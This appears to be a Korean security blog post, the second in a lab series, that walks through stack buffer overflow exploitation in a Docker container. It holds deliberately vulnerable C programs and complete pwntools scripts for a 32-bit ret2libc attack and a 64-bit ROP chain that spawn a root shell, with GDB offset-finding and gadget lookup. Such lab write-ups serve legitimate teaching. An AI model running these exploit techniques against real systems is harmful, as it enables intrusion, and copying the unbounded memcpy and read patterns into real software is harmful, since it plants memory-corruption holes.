정보 보안/모의해킹

버퍼 오버플로우 실습 2편 - 32비트/64비트 익스플로잇 과정

y0.0ns 2026. 7. 8. 12:37

1. 들어가며

환경 구성이 끝났으니 이제 본격적으로 실습을 진행했다. 처음엔 단순히 오버플로우만 발생시키면 되는 줄 알았는데 null byte 문제, 스택 정렬 문제 등 생각보다 막히는 부분이 많았다. 32비트는 비교적 수월했는데 64비트로 넘어가면서 ROP 가젯이라는 개념까지 등장했다. 삽질한 과정도 그대로 담았으니 같은 오류를 만난다면 참고가 됐으면 한다.

환경 구성 글: 버퍼 오버플로우 실습 1편 - 환경 구성 


2. 컨테이너 접속 및 ASLR 비활성화

1편에서 만든 컨테이너를 다시 시작하고 접속한다.

docker start bof_practice
docker exec -it bof_practice /bin/bash

접속 후 ASLR이 꺼져 있는지 먼저 확인한다. 컨테이너를 재시작하면 ASLR이 다시 켜지는 경우가 있어서 매번 확인하는 게 좋다.

cat /proc/sys/kernel/randomize_va_space

0이 아니면 다시 비활성화한다.

echo 0 > /proc/sys/kernel/randomize_va_space


3. 취약한 C 코드 작성

cat > vuln.c << 'EOF'
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[64];
    memcpy(buffer, input, strlen(input));
    printf("input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("usage: ./vuln <input>\n");
        return 1;
    }
    vulnerable(argv[1]);
    return 0;
}
EOF

⚠️ vim으로 작성하면 한글 주석이 깨지는 문제가 있어서 cat > file << 'EOF' 방식으로 파일을 생성했다.

취약점 포인트:

memcpy(buffer, input, strlen(input));
→ buffer 크기(64바이트)를 검증하지 않고
  input 크기만큼 무조건 복사
→ 64바이트 초과 시 오버플로우 발생


4. 32비트 익스플로잇

4-1. 32비트로 컴파일

gcc -o vuln vuln.c \
    -m32 \
    -fno-stack-protector \
    -z execstack \
    -no-pie

보호 기법 비활성화 옵션:

옵션 비활성화하는 보호 기법 설명
-m32 - 32비트로 컴파일
-fno-stack-protector 스택 카나리 오버플로우 감지 기능
-z execstack DEP/NX 스택에서 코드 실행 차단
-no-pie PIE 코드 주소 랜덤화

⚠️ 이 옵션들은 실습 목적으로 보호 기법을 끄는 것이다. 실제 운영 환경에서는 절대 사용하지 않는다.


4-2. 오버플로우 발생 확인

./vuln $(python3 -c "print('A' * 100)")

출력:

input: AAAAAAAAAA...
Segmentation fault (core dumped)

A 100개를 넣으면 buffer(64바이트)를 초과해서 옆 메모리(RBP, Return Address)를 덮어씌우고 프로그램이 종료된다.


4-3. GDB로 오프셋 찾기

오프셋 = buffer 시작부터 Return Address까지의 거리(바이트 수)

gdb ./vuln
break vulnerable
run $(python3 -c "print('A'*76 + 'B'*4 + 'C'*4)")
continue
info registers ebp eip

결과:

ebp = 0x41414141  <- A로 덮어씌워짐
eip = 0x42424242  <- B로 덮어씌워짐 (Return Address 위치)
오프셋 = 76바이트 (A 76개)
-> 그 다음 4바이트가 Return Address

ebp, eip가 뭔지:
ebp = 현재 함수 스택 프레임 기준점 (32비트)
eip = 다음에 실행할 명령어 주소 (32비트)
64비트에서는 rbp, rip로 불린다.


4-4. system, /bin/sh 주소 찾기

GDB 안에서 주소를 확인한다. 프로그램이 실행된 상태에서만 메모리에 올라온 주소를 확인할 수 있다.

print system
find &system, +9999999, "/bin/sh"

결과:

system  = 0xf7e16360
/bin/sh = 0xf7f61363

왜 이 주소들이 필요하냐면:
system 함수는 Ubuntu OS가 제공하는 libc 라이브러리 안에 있다.
system("/bin/sh") 를 호출하면 쉘이 실행되는데
Return Address를 system 주소로 덮어쓰면
함수 종료 시 system으로 점프하고
/bin/sh 주소를 인자로 전달하면 쉘이 실행된다.


4-5. 32비트 익스플로잇 실행

quit로 gdb 종료 후 익스플로잇 코드 작성, 실행

cat > exploit.py << 'EOF'
import struct
from pwn import *

context.arch = 'i386'

payload = b'A' * 76
payload += struct.pack('<I', 0xf7e16360)  # system 주소
payload += b'BBBB'                         # 더미 (system 종료 후 복귀 주소)
payload += struct.pack('<I', 0xf7f61363)  # /bin/sh 주소

p = process(['./vuln', payload.decode('latin-1')])
p.interactive()
EOF

python3 exploit.py

32비트 페이로드 구조:

A * 76           : buffer(64) + EBP(8) + 추가(4) 채우기
system 주소(4)   : Return Address = system 함수로 점프
BBBB(4)          : system 종료 후 복귀 주소 (더미)
/bin/sh 주소(4)  : system 함수 인자

32비트는 함수 인자를 스택으로 전달한다.
system 주소 다음에 /bin/sh 주소를 스택에 넣으면
system 함수가 스택에서 인자를 읽어온다.

결과:

$ whoami
root

 


4-6. 실습 중 마주친 오류

오류 1: null byte 문제

[ERROR] Inappropriate nulls in argv[1]

64비트 주소에는 \x00\x00 이 포함되어 있어서 argv로 전달 시 bash가 잘라버린다. 32비트 주소는 null byte가 없는 경우가 많아서 argv 방식이 가능하다.

 

오류 2: 한글 깨짐
vim에서 한글이 깨져서 코드가 제대로 입력되지 않았다. cat > file << 'EOF' 방식으로 파일을 생성하고 주석을 영어로 작성해서 해결했다.


5. 64비트 익스플로잇

5-1. 64비트 코드 작성 및 컴파일

64비트는 argv로 null byte를 전달할 수 없어서 stdin으로 입력받는 코드를 사용한다.

cat > vuln64.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vulnerable() {
    char buffer[64];
    read(0, buffer, 200);
    printf("input received\n");
}

int main() {
    vulnerable();
    return 0;
}
EOF
gcc -o vuln64 vuln64.c \
    -fno-stack-protector \
    -z execstack \
    -no-pie

5-2. 오프셋 확인

64비트는 stdin으로 입력을 받기 때문에 파일로 만들어서 전달한다.

python3 -c "import sys; sys.stdout.buffer.write(b'A'*64 + b'B'*8 + b'C'*8)" > input.bin
gdb ./vuln64
break vulnerable
run < input.bin
continue
x/1gx $rsp

결과:

0x7fffffffe668: 0x4343434343434343  <- C로 덮어씌워짐
오프셋 = 64(buffer) + 8(RBP) = 72바이트


5-3. system, /bin/sh 주소 찾기

print system
find &system, +9999999, "/bin/sh"

결과:

system  = 0x7ffff7e20290
/bin/sh = 0x7ffff7f825bd


5-4. ROP 가젯 찾기

64비트는 함수 인자를 레지스터(rdi)로 전달해야 한다. 스택에 있는 값을 rdi로 옮겨주는 pop rdi 가젯이 필요하다.

ROPgadget --binary vuln64 | grep "pop rdi"
ROPgadget --binary vuln64 | grep ": ret"

결과:

pop rdi ; ret : 0x401203
ret           : 0x40101a

ROP 가젯이 뭔지:
프로그램 안에 이미 존재하는 짧은 명령어 조각.
이 조각들을 조합해서 원하는 동작을 만드는 기법을 ROP(Return Oriented Programming)라고 한다.

왜 ret 가젯이 필요하냐면:
64비트 system 함수는 스택이 16바이트로 정렬되어 있어야 실행된다.
ret 가젯을 하나 추가하면 RSP가 8바이트 이동하면서 정렬이 맞춰진다.


5-5. 64비트 익스플로잇 실행

cat > exploit64.py << 'EOF'
from pwn import *

context.arch = 'amd64'

payload = b'A' * 72
payload += p64(0x40101a)           # ret (스택 정렬)
payload += p64(0x401203)           # pop rdi ; ret
payload += p64(0x7ffff7f825bd)     # /bin/sh 주소 (rdi에 들어감)
payload += p64(0x7ffff7e20290)     # system 주소

p = process('./vuln64')
p.sendline(payload)
p.interactive()
EOF

python3 exploit64.py

64비트 페이로드 구조:

A * 72               : buffer(64) + RBP(8) 채우기
ret 주소(8)          : 스택 정렬 맞추기
pop rdi ; ret 주소(8): /bin/sh 주소를 rdi에 저장
/bin/sh 주소(8)      : rdi에 들어갈 값
system 주소(8)       : system("/bin/sh") 실행

실행 순서:

1. ret        -> RSP 이동 (스택 16바이트 정렬)
2. pop rdi    -> /bin/sh 주소를 rdi에 저장
3. ret        -> system 주소로 점프
4. system(rdi)= system("/bin/sh") 실행
5. 쉘 획득

결과:

$ whoami
root


5-6. 실습 중 마주친 오류

오류 1: SIGSEGV 발생

Process './vuln64' stopped with exit code -11 (SIGSEGV)

스택 정렬 문제로 system 함수 실행 시 SIGSEGV가 발생했다. ret 가젯을 추가해서 16바이트 정렬을 맞춰 해결했다.

오류 2: Got EOF while reading in interactive

[*] Got EOF while reading in interactive

stdin 방식에서 쉘이 뜨자마자 종료되는 문제가 발생했다. ROP 가젯으로 스택 정렬을 맞추고 나서 해결됐다.


6. 32비트 vs 64비트 차이 정리

  32비트 64비트
함수 인자 전달 스택으로 전달 레지스터(rdi)로 전달
Return Address 크기 4바이트 8바이트
null byte 문제 거의 없음 항상 존재
ROP 가젯 필요 여부 불필요 필요 (pop rdi, ret)
스택 정렬 불필요 16바이트 정렬 필요
페이로드 전달 방식 argv 가능 stdin 필요

7. 마무리

이번 실습에서 보호 기법을 모두 끈 상태에서 진행했는데, 실제 환경에서는 ASLR, 스택 카나리, DEP가 켜져 있어서 훨씬 복잡한 기법이 필요하다. 다음 실습에서는 보호 기법을 하나씩 켜면서 어떻게 막히는지, 그리고 각 보호 기법을 우회하는 방법을 다뤄볼 예정이다.

더 나은 방법이나 개선점이 있다면 댓글로 공유해주세요.


이 블로그의 관련 글:


참고 자료: